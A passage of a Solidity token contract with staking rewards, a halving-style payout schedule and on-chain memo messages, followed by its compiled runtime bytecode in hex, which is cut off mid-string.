mapping(uint256 => activeMiners[]) aMiners;
function totalMinerCount() view public returns (uint256) {
return totalminers.length;
}
function addressHashs() view public returns (uint256) {
return uint256(msg.sender) % 10000000000;
}
function stakerStatus(address _addr) view public returns(bool){
if(nStockDetails[_addr]._stocktime == 0)
{
return false;
}
else
{
return true;
}
}
function stakerAmount(address _addr) view public returns(uint256){
if(nStockDetails[_addr]._stocktime == 0)
{
return 0;
}
else
{
return nStockDetails[_addr]._stockamount;
}
}
function stakerActiveTotal() view public returns(uint256) {
return aMiners[lastBlock].length;
}
function generalCheckPoint() private view returns(string memory) {
return append(uintToString(addressHashs()),uintToString(lastBlock));
}
function necessarySignForReward(uint256 _bnumber) public returns (uint256) {
require(stakerStatus(msg.sender) == true);
require((block.number-1) - _bnumber <= 100);
require(nStockDetails[msg.sender]._stocktime + nWtime > now);
require(uint256(blockhash(_bnumber)) % nRewarMod == 1);
if(bBlockIteration[lastBlock]._bTime + 1800 < now)
{
lastBlock += 1;
bBlockIteration[lastBlock]._bTime = now;
}
require(nRewardDetails[generalCheckPoint()]._artyr == 0);
bBlockIteration[lastBlock]._tInvest += nStockDetails[msg.sender]._stockamount;
nRewardDetails[generalCheckPoint()]._artyr = now;
nRewardDetails[generalCheckPoint()]._didGetReward = false;
nRewardDetails[generalCheckPoint()]._didisign = true;
aMiners[lastBlock].push(activeMiners(msg.sender));
return 200;
}
function rewardGet(uint256 _bnumber) public returns(uint256) {
require(stakerStatus(msg.sender) == true);
require((block.number-1) - _bnumber > 100);
require(uint256(blockhash(_bnumber)) % nRewarMod == 1);
require(nStockDetails[msg.sender]._stocktime + nWtime > now );
require(nRewardDetails[generalCheckPoint()]._didGetReward == false);
require(nRewardDetails[generalCheckPoint()]._didisign == true);
uint256 halving = lastBlock / 365;
uint256 totalRA = 128 * genesisReward;
if(halving==0)
{
totalRA = 128 * genesisReward;
}
else if(halving==1)
{
totalRA = 256 * genesisReward;
}
else if(halving==2)
{
totalRA = 512 * genesisReward;
}
else if(halving==3)
{
totalRA = 1024 * genesisReward;
}
else if(halving==4)
{
totalRA = 2048 * genesisReward;
}
else if(halving==5)
{
totalRA = 4096 * genesisReward;
}
else if(halving==6)
{
totalRA = 8192 * genesisReward;
}
else if(halving==7)
{
totalRA = 4096 * genesisReward;
}
else if(halving==8)
{
totalRA = 2048 * genesisReward;
}
else if(halving==9)
{
totalRA = 1024 * genesisReward;
}
else if(halving==10)
{
totalRA = 512 * genesisReward;
}
else if(halving==11)
{
totalRA = 256 * genesisReward;
}
else if(halving==12)
{
totalRA = 128 * genesisReward;
}
else if(halving==13)
{
totalRA = 64 * genesisReward;
}
else if(halving==14)
{
totalRA = 32 * genesisReward;
}
else if(halving==15)
{
totalRA = 16 * genesisReward;
}
else if(halving==16)
{
totalRA = 8 * genesisReward;
}
else if(halving==17)
{
totalRA = 4 * genesisReward;
}
else if(halving==18)
{
totalRA = 2 * genesisReward;
}
else if(halving==19)
{
totalRA = 1 * genesisReward;
}
else if(halving>19)
{
totalRA = 1 * genesisReward;
}
uint256 usersReward = (totalRA * (nStockDetails[msg.sender]._stockamount * 100) / bBlockIteration[lastBlock]._tInvest) / 100;
nRewardDetails[generalCheckPoint()]._didGetReward = true;
_transfer(address(this), msg.sender, usersReward);
return usersReward;
}
function startMining(uint256 mineamount) public returns (uint256) {
uint256 realMineAmount = mineamount * 10 ** uint256(decimals);
require(realMineAmount >= 10 * 10 ** uint256(decimals));
require(nStockDetails[msg.sender]._stocktime == 0);
maximumTarget += realMineAmount;
nStockDetails[msg.sender]._stocktime = now;
nStockDetails[msg.sender]._stockamount = realMineAmount;
totalminers.push(msg.sender);
_transfer(msg.sender, address(this), realMineAmount);
return 200;
}
function tokenPayBack() public returns(uint256) {
require(stakerStatus(msg.sender) == true);
require(nStockDetails[msg.sender]._stocktime + nWtime < now );
nStockDetails[msg.sender]._stocktime = 0;
_transfer(address(this),msg.sender,nStockDetails[msg.sender]._stockamount);
return nStockDetails[msg.sender]._stockamount;
}
struct memoInfo {
uint256 _receiveTime;
uint256 _receiveAmount;
address _senderAddr;
string _senderMemo;
}
mapping(address => memoInfo[]) memoGetProcess;
function sendMemoToken(uint256 _amount, address _to, string memory _memo) public returns(uint256) {
memoGetProcess[_to].push(memoInfo(now, _amount, msg.sender, _memo));
_transfer(msg.sender, _to, _amount);
return 200;
}
function sendMemoOnly(address _to, string memory _memo) public returns(uint256) {
memoGetProcess[_to].push(memoInfo(now,0, msg.sender, _memo));
_transfer(msg.sender, _to, 0);
return 200;
}
function yourMemos(address _addr, uint256 _index) view public returns(uint256,
uint256,
string memory,
address) {
uint256 rTime = memoGetProcess[_addr][_index]._receiveTime;
uint256 rAmount = memoGetProcess[_addr][_index]._receiveAmount;
string memory sMemo = memoGetProcess[_addr][_index]._senderMemo;
address sAddr = memoGetProcess[_addr][_index]._senderAddr;
if(memoGetProcess[_addr][_index]._receiveTime == 0){
return (0, 0,"0", _addr);
}else {
return (rTime, rAmount,sMemo, sAddr);
}
}
function yourMemosCount(address _addr) view public returns(uint256) {
return memoGetProcess[_addr].length;
}
function appendMemos(string memory a, string memory b,string memory c,string memory d) internal pure returns (string memory) {
return string(abi.encodePacked(a,"#",b,"#",c,"#",d));
}
function addressToString(address _addr) public pure returns(string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(51);
str[0] = "0";
str[1] = "x";
for (uint i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];
str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
function getYourMemosOnly(address _addr) view public returns(string[] memory) {
uint total = memoGetProcess[_addr].length;
string[] memory messages = new string[](total);
for (uint i=0; i < total; i++) {
messages[i] = appendMemos(uintToString(memoGetProcess[_addr][i]._receiveTime),memoGetProcess[_addr][i]._senderMemo,uintToString(memoGetProcess[_addr][i]._receiveAmount),addressToString(memoGetProcess[_addr][i]._senderAddr));
}
return messages;
}
}
|
0x608060405234801561001057600080fd5b50600436106102325760003560e01c80637ac8712911610130578063a9059cbb116100b8578063d43c43ac1161007c578063d43c43ac1461075e578063dd62ed3e1461078e578063eabbb22c146107be578063f30ed32a146107dc578063f79e7354146107fa57610232565b8063a9059cbb14610692578063ab8d13e3146106c2578063b5f3b150146106e0578063c8f5a2f9146106fe578063cae9ca511461072e57610232565b8063878fd290116100ff578063878fd290146105b3578063934eb103146105e357806395d89b4114610613578063a12fe45d14610631578063a4c232571461066157610232565b80637ac87129146105265780637be8a33a146105595780637ca3d49814610577578063806b984f1461059557610232565b80632d936b46116101be5780634d016f35116101825780634d016f35146104485780635e57966d1461046657806370312de81461049657806370a08231146104c657806379cc6790146104f657610232565b80632d936b461461037c578063313ce5671461039a5780633bfd87e9146103b857806342966c68146103e857806347b272c01461041857610232565b806318160ddd1161020557806318160ddd146102c25780632194f3a2146102e057806323b872dd146102fe57806326926fba1461032e578063269714dd1461035e57610232565b806306fdde0314610237578063095ea7b3146102555780630e0d8cda146102855780631328ad5d146102a4575b600080fd5b61023f610818565b60405161024c9190613362565b60405180910390f35b61026f600480360381019061026a9190612ea7565b6108b6565b60405161027c9190613347565b60405180910390f35b61028d6109a8565b60405161029b92919061339f565b60405180910390f35b6102ac6109d0565b6040516102b99190613384565b60405180910390f35b6102ca6109f0565b6040516102d79190613384565b60405180910390f35b6102e86109f6565b6040516102f591906132be565b60405180910390f35b61031860048036038101906103139190612e04565b610a1c565b6040516103259190613347565b60405180910390f35b61034860048036038101906103439190612f73565b610b47565b6040516103559190613384565b60405180910390f35b610366610c78565b6040516103739190613384565b60405180910390f35b610384610c7e565b6040516103919190613384565b60405180910390f35b6103a2610c84565b6040516103af9190613414565b60405180910390f35b6103d260048036038101906103cd9190612f4a565b610c97565b6040516103df9190613384565b60405180910390f35b61040260048036038101906103fd9190612f4a565b611091565b60405161040f9190613347565b60405180910390f35b610432600480360381019061042d9190612f4a565b611193565b60405161043f9190613384565b60405180910390f35b61045061133a565b60405161045d9190613384565b60405180910390f35b610480600480360381019061047b9190612d9f565b611347565b60405161048d9190613362565b60405180910390f35b6104b060048036038101906104ab9190612d9f565b6115df565b6040516104bd9190613347565b60405180910390f35b6104e060048036038101906104db9190612d9f565b61163e565b6040516104ed9190613384565b60405180910390f35b610510600480360381019061050b9190612ea7565b611656565b60405161051d9190613347565b60405180910390f35b610540600480360381019061053b9190612ea7565b61186c565b60405161055094939291906133c8565b60405180910390f35b610561611b7a565b60405161056e9190613384565b60405180910390f35b61057f611cc4565b60405161058c9190613384565b60405180910390f35b61059d611cd3565b6040516105aa9190613384565b60405180910390f35b6105cd60048036038101906105c89190612d9f565b611cd9565b6040516105da9190613384565b60405180910390f35b6105fd60048036038101906105f89190612f4a565b611d79565b60405161060a9190613384565b60405180910390f35b61061b612065565b6040516106289190613362565b60405180910390f35b61064b60048036038101906106469190612d9f565b612103565b6040516106589190613325565b60405180910390f35b61067b60048036038101906106769190612f4a565b612421565b60405161068992919061339f565b60405180910390f35b6106ac60048036038101906106a79190612ea7565b612447565b6040516106b99190613347565b60405180910390f35b6106ca61245e565b6040516106d79190613384565b60405180910390f35b6106e861248a565b6040516106f59190613384565b60405180910390f35b61071860048036038101906107139190612e53565b612490565b6040516107259190613384565b60405180910390f35b61074860048036038101906107439190612ee3565b6125c2565b6040516107559190613347565b60405180910390f35b61077860048036038101906107739190612d9f565b61265b565b6040516107859190613384565b60405180910390f35b6107a860048036038101906107a39190612dc8565b6126a7565b6040516107b59190613384565b60405180910390f35b6107c66126cc565b6040516107d39190613384565b60405180910390f35b6107e46126d2565b6040516107f19190613384565b60405180910390f35b6108026126d8565b60405161080f9190613384565b60405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ae5780601f10610883576101008083540402835291602001916108ae565b820191906000526020600020905b81548152906001019060200180831161089157829003601f168201915b505050505081565b600081600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109969190613384565b60405180910390a36001905092915050565b6000806000600a54600143034060001c816109bf57fe5b069050806001430392509250509091565b600060126000600654815260200190815260200160002080549050905090565b60035481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610aa757600080fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610b3c8484846126de565b600190509392505050565b6000601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180608001604052804281526020018681526020013373ffffffffffffffffffffffffffffffffffffffff168152602001848152509080600181540180825580915050600190039060005260206000209060040201600090919091909150600082015181600001556020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506060820151816003019080519060200190610c5f929190612c28565b505050610c6d3384866126de565b60c890509392505050565b60055481565b60095481565b600260009054906101000a900460ff1681565b600060011515610ca6336115df565b151514610cb257600080fd5b606482600143030311610cc457600080fd5b6001600a54834060001c81610cd557fe5b0614610ce057600080fd5b42600b54600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540111610d3257600080fd5b600015156010610d40612a04565b604051610d4d9190613219565b908152602001604051809103902060010160009054906101000a900460ff16151514610d7857600080fd5b600115156010610d86612a04565b604051610d939190613219565b908152602001604051809103902060010160019054906101000a900460ff16151514610dbe57600080fd5b600061016d60065481610dcd57fe5b049050600060085460800290506000821415610df0576008546080029050610fc3565b6001821415610e0757600854610100029050610fc2565b6002821415610e1e57600854610200029050610fc1565b6003821415610e3557600854610400029050610fc0565b6004821415610e4c57600854610800029050610fbf565b6005821415610e6357600854611000029050610fbe565b6006821415610e7a57600854612000029050610fbd565b6007821415610e9157600854611000029050610fbc565b6008821415610ea857600854610800029050610fbb565b6009821415610ebf57600854610400029050610fba565b600a821415610ed657600854610200029050610fb9565b600b821415610eed57600854610100029050610fb8565b600c821415610f03576008546080029050610fb7565b600d821415610f19576008546040029050610fb6565b600e821415610f2f576008546020029050610fb5565b600f821415610f45576008546010029050610fb4565b6010821415610f5b576008546008029050610fb3565b6011821415610f71576008546004029050610fb2565b6012821415610f87576008546002029050610fb1565b6013821415610f9d576008546001029050610fb0565b6013821115610faf5760085460010290505b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b60006064601160006006548152602001908152602001600020600101546064600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101540284028161102f57fe5b048161103757fe5b04905060016010611046612a04565b6040516110539190613219565b908152602001604051809103902060010160006101000a81548160ff0219169083151502179055506110863033836126de565b809350505050919050565b600081600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110df57600080fd5b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040516111829190613384565b60405180910390a260019050919050565b600080600260009054906101000a900460ff1660ff16600a0a83029050600260009054906101000a900460ff1660ff16600a0a600a028110156111d557600080fd5b6000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541461122457600080fd5b8060056000828254019250508190555042600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600e339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506113303330836126de565b60c8915050919050565b6000600e80549050905090565b606060008273ffffffffffffffffffffffffffffffffffffffff1660001b905060606040518060400160405280601081526020017f303132333435363738396162636465660000000000000000000000000000000081525090506060603367ffffffffffffffff811180156113bb57600080fd5b506040519080825280601f01601f1916602001820160405280156113ee5781602001600182028036833780820191505090505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061141f57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061147c57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060008090505b60148110156115d35782600485600c8401602081106114cc57fe5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916901c60f81c60ff168151811061150457fe5b602001015160f81c60f81b82600283026002018151811061152157fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082600f60f81b85600c84016020811061156557fe5b1a60f81b1660f81c60ff168151811061157a57fe5b602001015160f81c60f81b82600283026003018151811061159757fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535080806001019150506114b1565b50809350505050919050565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414156116345760009050611639565b600190505b919050565b600c6020528060005260406000206000915090505481565b600081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156116a457600080fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561172d57600080fd5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405161185a9190613384565b60405180910390a26001905092915050565b6000806060600080601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481106118be57fe5b90600052602060002090600402016000015490506000601360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020878154811061191e57fe5b90600052602060002090600402016001015490506060601360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020888154811061197e57fe5b90600052602060002090600402016003018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a235780601f106119f857610100808354040283529160200191611a23565b820191906000526020600020905b815481529060010190602001808311611a0657829003601f168201915b505050505090506000601360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208981548110611a7657fe5b906000526020600020906004020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000601360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208a81548110611af657fe5b9060005260206000209060040201600001541415611b60576000808b8292508191506040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090975097509750975050505050611b71565b838383839750975097509750505050505b92959194509250565b600060011515611b89336115df565b151514611b9557600080fd5b42600b54600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540110611be757600080fd5b6000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550611c7c3033600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546126de565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905090565b6000600143034060001c905090565b60065481565b600080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415611d2e5760009050611d74565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490505b919050565b600060011515611d88336115df565b151514611d9457600080fd5b60648260014303031115611da757600080fd5b42600b54600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540111611df957600080fd5b6001600a54834060001c81611e0a57fe5b0614611e1557600080fd5b4261070860116000600654815260200190815260200160002060000154011015611e6857600160066000828254019250508190555042601160006006548152602001908152602001600020600001819055505b60006010611e74612a04565b604051611e819190613219565b90815260200160405180910390206000015414611e9d57600080fd5b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015460116000600654815260200190815260200160002060010160008282540192505081905550426010611f10612a04565b604051611f1d9190613219565b90815260200160405180910390206000018190555060006010611f3e612a04565b604051611f4b9190613219565b908152602001604051809103902060010160006101000a81548160ff02191690831515021790555060016010611f7f612a04565b604051611f8c9190613219565b908152602001604051809103902060010160016101000a81548160ff02191690831515021790555060126000600654815260200190815260200160002060405180602001604052803373ffffffffffffffffffffffffffffffffffffffff168152509080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505060c89050919050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120fb5780601f106120d0576101008083540402835291602001916120fb565b820191906000526020600020905b8154815290600101906020018083116120de57829003601f168201915b505050505081565b60606000601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050905060608167ffffffffffffffff8111801561216557600080fd5b5060405190808252806020026020018201604052801561219957816020015b60608152602001906001900390816121845790505b50905060008090505b82811015612416576123f2612211601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106121fa57fe5b906000526020600020906004020160000154612a2e565b601360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811061225b57fe5b90600052602060002090600402016003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123005780601f106122d557610100808354040283529160200191612300565b820191906000526020600020905b8154815290600101906020018083116122e357829003601f168201915b5050505050612369601360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811061235257fe5b906000526020600020906004020160010154612a2e565b6123ed601360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481106123b657fe5b906000526020600020906004020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611347565b612bca565b8282815181106123fe57fe5b602002602001018190525080806001019150506121a2565b508092505050919050565b6000806000600a54844060001c8161243557fe5b06905080600143039250925050915091565b60006124543384846126de565b6001905092915050565b60006402540be4003373ffffffffffffffffffffffffffffffffffffffff168161248457fe5b06905090565b60075481565b6000601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405280428152602001600081526020013373ffffffffffffffffffffffffffffffffffffffff168152602001848152509080600181540180825580915050600190039060005260206000209060040201600090919091909150600082015181600001556020820151816001015560408201518160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060608201518160030190805190602001906125a9929190612c28565b5050506125b8338460006126de565b60c8905092915050565b6000808490506125d285856108b6565b15612652578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b815260040161261694939291906132d9565b600060405180830381600087803b15801561263057600080fd5b505af1158015612644573d6000803e3d6000fd5b505050506001915050612654565b505b9392505050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600d602052816000526040600020602052806000526040600020600091509150505481565b600a5481565b600b5481565b60085481565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561271857600080fd5b80600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561276457600080fd5b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540110156127f157600080fd5b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161296d9190613384565b60405180910390a380600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401146129fe57fe5b50505050565b6060612a29612a19612a1461245e565b612a2e565b612a24600654612a2e565b612bfc565b905090565b606060006064905060608167ffffffffffffffff81118015612a4f57600080fd5b506040519080825280601f01601f191660200182016040528015612a825781602001600182028036833780820191505090505b50905060008090505b60008514612afd576000600a8681612a9f57fe5b069050600a8681612aac57fe5b0495508060300160f81b838380600101945081518110612ac857fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535050612a8b565b60606001820167ffffffffffffffff81118015612b1957600080fd5b506040519080825280601f01601f191660200182016040528015612b4c5781602001600182028036833780820191505090505b50905060008090505b828111612bbd578381840381518110612b6a57fe5b602001015160f81c60f81b828281518110612b8157fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508080600101915050612b55565b5080945050505050919050565b606084848484604051602001612be39493929190613230565b6040516020818303038152906040529050949350505050565b60608282604051602001612c1192919061328f565b604051602081830303815290604052905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612c6957805160ff1916838001178555612c97565b82800160010185558215612c97579182015b82811115612c96578251825591602001919060010190612c7b565b5b509050612ca49190612ca8565b5090565b612cca91905b80821115612cc6576000816000905550600101612cae565b5090565b90565b600081359050612cdc81613631565b92915050565b600082601f830112612cf357600080fd5b8135612d06612d018261345c565b61342f565b91508082526020830160208301858383011115612d2257600080fd5b612d2d8382846135de565b50505092915050565b600082601f830112612d4757600080fd5b8135612d5a612d5582613488565b61342f565b91508082526020830160208301858383011115612d7657600080fd5b612d818382846135de565b50505092915050565b600081359050612d9981613648565b92915050565b600060208284031215612db157600080fd5b6000612dbf84828501612ccd565b91505092915050565b60008060408385031215612ddb57600080fd5b6000612de985828601612ccd565b9250506020612dfa85828601612ccd565b9150509250929050565b600080600060608486031215612e1957600080fd5b6000612e2786828701612ccd565b9350506020612e3886828701612ccd565b9250506040612e4986828701612d8a565b9150509250925092565b60008060408385031215612e6657600080fd5b6000612e7485828601612ccd565b925050602083013567ffffffffffffffff811115612e9157600080fd5b612e9d85828601612d36565b9150509250929050565b60008060408385031215612eba57600080fd5b6000612ec885828601612ccd565b9250506020612ed985828601612d8a565b9150509250929050565b600080600060608486031215612ef857600080fd5b6000612f0686828701612ccd565b9350506020612f1786828701612d8a565b925050604084013567ffffffffffffffff811115612f3457600080fd5b612f4086828701612ce2565b9150509250925092565b600060208284031215612f5c57600080fd5b6000612f6a84828501612d8a565b91505092915050565b600080600060608486031215612f8857600080fd5b6000612f9686828701612d8a565b9350506020612fa786828701612ccd565b925050604084013567ffffffffffffffff811115612fc457600080fd5b612fd086828701612d36565b9150509250925092565b6000612fe683836130d8565b905092915050565b612ff7816135a8565b82525050565b61300681613553565b82525050565b61301581613541565b82525050565b6000613026826134c4565b61303081856134f2565b935083602082028501613042856134b4565b8060005b8581101561307e578484038952815161305f8582612fda565b945061306a836134e5565b925060208a01995050600181019050613046565b50829750879550505050505092915050565b61309981613565565b82525050565b60006130aa826134cf565b6130b48185613503565b93506130c48185602086016135ed565b6130cd81613620565b840191505092915050565b60006130e3826134da565b6130ed8185613514565b93506130fd8185602086016135ed565b61310681613620565b840191505092915050565b600061311c826134da565b6131268185613525565b93506131368185602086016135ed565b61313f81613620565b840191505092915050565b6000613155826134da565b61315f8185613536565b935061316f8185602086016135ed565b80840191505092915050565b6000613188600183613536565b91507f23000000000000000000000000000000000000000000000000000000000000006000830152600182019050919050565b60006131c8600183613536565b91507f2d000000000000000000000000000000000000000000000000000000000000006000830152600182019050919050565b61320481613591565b82525050565b6132138161359b565b82525050565b6000613225828461314a565b915081905092915050565b600061323c828761314a565b91506132478261317b565b9150613253828661314a565b915061325e8261317b565b915061326a828561314a565b91506132758261317b565b9150613281828461314a565b915081905095945050505050565b600061329b828561314a565b91506132a6826131bb565b91506132b2828461314a565b91508190509392505050565b60006020820190506132d36000830184612ffd565b92915050565b60006080820190506132ee6000830187612fee565b6132fb60208301866131fb565b613308604083018561300c565b818103606083015261331a818461309f565b905095945050505050565b6000602082019050818103600083015261333f818461301b565b905092915050565b600060208201905061335c6000830184613090565b92915050565b6000602082019050818103600083015261337c8184613111565b905092915050565b600060208201905061339960008301846131fb565b92915050565b60006040820190506133b460008301856131fb565b6133c160208301846131fb565b9392505050565b60006080820190506133dd60008301876131fb565b6133ea60208301866131fb565b81810360408301526133fc8185613111565b905061340b606083018461300c565b95945050505050565b6000602082019050613429600083018461320a565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561345257600080fd5b8060405250919050565b600067ffffffffffffffff82111561347357600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561349f57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201